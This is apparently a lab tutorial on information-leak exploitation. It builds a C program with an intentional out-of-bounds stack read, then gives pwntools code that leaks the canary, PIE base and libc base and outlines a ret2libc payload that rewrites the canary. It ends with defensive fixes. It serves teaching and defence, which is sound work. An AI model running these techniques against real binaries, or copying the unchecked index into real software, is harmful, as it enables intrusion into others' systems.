Information Leaks: Defeating ASLR and Canaries
Modern exploits are leak-then-act. Build an out-of-bounds read, then use it to recover a stack canary, the PIE base and the libc base — the three secrets every mitigation relies on.
This is the seventh walkthrough in the Exploitation Techniques area, and it steps back to the primitive that the ret2libc and PIE discussions kept leaning on: the information leak. Corruption techniques get the attention, but on a modern target the leak is what makes them possible. This guide builds one and uses it to defeat, in turn, the stack canary, PIE and libc ASLR.
Same rules: your own binary, disposable lab. See the lab rules.
Mitigations are secrets, not walls
A canary is a random value you must not know. PIE and ASLR are random base addresses you must not know. None of them stop a write — they stop a blind write, by hiding the value or address the write depends on. A leak removes the blindfold:
| Secret leaked | Mitigation defeated | What you can then do |
|---|---|---|
| Stack canary value | Stack canary | Overflow past the canary, replacing it with itself |
| A code pointer (return address) | PIE | Compute the binary base; use its gadgets/symbols |
| A libc pointer (e.g. a GOT entry) | libc ASLR | Compute libc base; use system, one-gadgets |
The target
A program with a benign-looking out-of-bounds read: it prints back the stack slot at an index you supply, with no upper bound. That single bug leaks everything.
/* vuln.c — an OOB read that discloses stack contents. */
#include <stdio.h>
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
unsigned long stack[16];
for (int i = 0; i < 16; i++) stack[i] = 0; /* some real data */
unsigned idx;
puts("index?");
if (scanf("%u", &idx) != 1) return 1;
/* the bug: no check that idx < 16 */
printf("value: %#lx\n", stack[idx]); /* reads past the array */
return 0;
}
gcc -fstack-protector-strong -pie -fPIE -O0 -g -o vuln vuln.c # canary AND PIE ON
Note we build with the mitigations on this time — the whole point is to leak past them.
Step 1 — map the stack
Reading successive indices past the array walks up the stack frame. A few reads reveal the canary (a random 8-byte value whose least-significant byte is 00), the saved frame pointer (a stack address), and the saved return address (a code pointer into the binary — or into libc for __libc_start_main's return).
from pwn import *
context.binary = elf = ELF("./vuln")
def leak(idx):
io = process("./vuln")
io.sendlineafter(b"index?\n", str(idx).encode())
io.recvuntil(b"value: ")
val = int(io.recvline().strip(), 16)
io.close()
return val
for i in range(16, 24):
log.info("stack[%d] = %#018x", i, leak(i))
stack[16] = 0x0000000000000000
stack[17] = 0x00000a1b2c3d4e00 ← canary (ends in 00)
stack[18] = 0x00007ffd1234abc0 ← saved rbp (stack address)
stack[19] = 0x00005600aabbc123 ← saved return address (PIE code pointer)
stack[20] = 0x00007f88deadbe40 ← a libc address (__libc_start_main+offset)
The trailing 00 byte is the fingerprint of a canary: glibc sets the low byte to a null so a string read cannot leak or overrun it easily.
Step 2 — turn each leak into a base
canary = leak(17)
ret_addr = leak(19)
libc_ret = leak(20)
# PIE base: leaked return address minus its offset in the binary.
# (find the offset once, in gdb: the address is main+NN or __libc_csu... )
elf.address = ret_addr - elf.symbols["main"] - RET_OFFSET_IN_MAIN
# libc base: leaked libc return minus __libc_start_main_ret offset for this libc.
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = libc_ret - LIBC_START_MAIN_RET
log.success("canary = %#x", canary)
log.success("PIE base = %#x", elf.address)
log.success("libc base = %#x", libc.address)
With elf.address and libc.address set, pwntools resolves every gadget and symbol at its true runtime location. The three mitigations are now transparent.
Step 3 — spend the leaks
In a real exploit the leak and the corruption are two uses of (often) the same or a paired bug. Suppose the same program also had a stack overflow: you would now build a payload that
- fills the buffer,
- replaces the canary with the leaked value (so the epilogue check passes),
- overwrites the saved return address with a ret2libc chain built against the recovered
libc.address.
payload = b"A" * OFFSET_TO_CANARY
payload += p64(canary) # canary survives the check
payload += b"B" * 8 # saved rbp
payload += p64(libc.address + libc.symbols["system"] ...) # ret2libc, addresses known
The canary is not bypassed; it is satisfied. That is the important mental model: a leaked canary makes the check a formality.
Why there is no "turn the mitigation back on" here
This guide is the counter-lesson. The mitigations were already on; the leak defeated them anyway. The defence against a leak is not another address-hiding mitigation — it is not having the disclosure bug:
- Bounds-check every index and length (the fix for this exact OOB read).
- Do not send uninitialized buffers back to the user; zero or fully populate them.
- Compile with
-Wformat=2to kill format-string leaks — see format-string bugs. - Find these with AddressSanitizer (it flags out-of-bounds reads, not just writes) and fuzzing.
What this teaches a defender
- Rate read bugs like write bugs. An out-of-bounds read looks low-severity in isolation and is often the linchpin of a critical exploit. In triage, pair it with any nearby corruption bug — see reading crash reports.
- A canary ending in
00is by design, and a single leak of it neutralizes it. Canaries stop blind linear overwrites, nothing more. - Defence in depth still matters: PIE and ASLR force the attacker to find a leak first. A binary with no disclosure bug keeps its secrets, and every downstream technique in this series stalls without them.
Key takeaways
- ASLR, PIE and canaries are secrets; a leak of one pointer or value per region defeats each.
- An out-of-bounds read that discloses stack slots can leak the canary, a PIE code pointer and a libc pointer at once.
- Convert a leak to a base by subtracting the known offset, then let pwntools resolve everything else.
- A leaked canary is satisfied, not bypassed — you write it back over itself. The real fix is eliminating the disclosure bug.
Next: SROP, turning a single syscall gadget into total register control when ordinary gadgets are scarce.